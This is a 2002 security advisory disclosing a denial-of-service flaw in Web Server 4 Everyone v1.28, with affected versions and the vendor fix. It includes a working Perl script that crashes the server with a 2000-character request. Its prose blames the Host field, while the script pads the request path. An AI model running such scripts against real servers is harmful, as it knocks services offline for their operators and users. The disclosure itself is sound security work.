[SecurityOffice] Web Server 4 Everyone v1.28 Host Field Denial of Service Vulnerability

[Tamer Sahin <ts () securityoffice net>]

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- --[ Web Server 4 Everyone v1.28 Host Field Denial of Service Vulnerability ]--

- --[ Type

Denial of Service

- --[ Release Date

October 23, 2002

- --[ Product / Vendor

Web Server 4 Everyone is an Internet and Intranet server that supports HTTP Services.
Web Server 4 Everyone is available for Microsoft Windows operating systems.

http://www.freeware.lt/Info/projects.php

- --[ Summary

The problem is Web Server 4 Everyone v1.28 with bounds checking, when you request 2000
characters "web4all.exe"  just shuts down. This vulnerability also affects Web Server 4
Everyone versions prior to v1.28 for Microsoft Windows 2000.

When the attacker send a request in size of 2000 characters in "Host:" field that contains
all "127.0.0.1", the server  crashes. In case you send a request that size without adding
the "Host:" there is no effect on running program. The Web server must be restarted to
regain normal functionality.

- --[ Exploit

An exploit for this vulnerability exists and is available below.

=============== SNIP ===============

#!/usr/bin/perl -w

use IO::Socket;

$host = $ARGV[0];
$port = $ARGV[1];
$evil = "A" x 2000;

print "Web Server 4 Everyone v1.28 Host Field Denial of Service Vulnerability by SecurityOffice\n";
print "Usage: $0 host port\n";
print "Connecting...\n";
$socket = IO::Socket::INET->
            new(Proto=>"tcp",
            PeerAddr=>$host,
            PeerPort=>$port)
            || die "Connection failed.\n";

print "Attacking...\n";
print $socket "GET /$evil HTTP/1.1\n Host: 127.0.0.1\n\n";

close($socket);
print "\nConnection closed. Finished.\n\n";

=============== SNIP ===============

- --[ Tested

Windows 2000 Sp3 / Web Server 4 Everyone v1.28
Windows 98 SE / Web Server 4 Everyone v1.28

- --[ Vulnerable

Web Server 4 Everyone v1.28

- --[ Vendor Status

This vulnerability fixed Web Server 4 Everyone v1.32

- --[ Disclaimer

http://www.securityoffice.net is not responsible for the misuse or illegal use of
any of the information and/or the software listed on this security advisory.

- --[ Author

Tamer Sahin
ts () securityoffice net
http://www.securityoffice.net

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(c) 2002 SecurityOffice

This Security Advisory may be reproduced and distributed, provided that this Security
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that such reproduction and distribution is performed for non-commercial purposes.

Tamer Sahin
http://www.securityoffice.net

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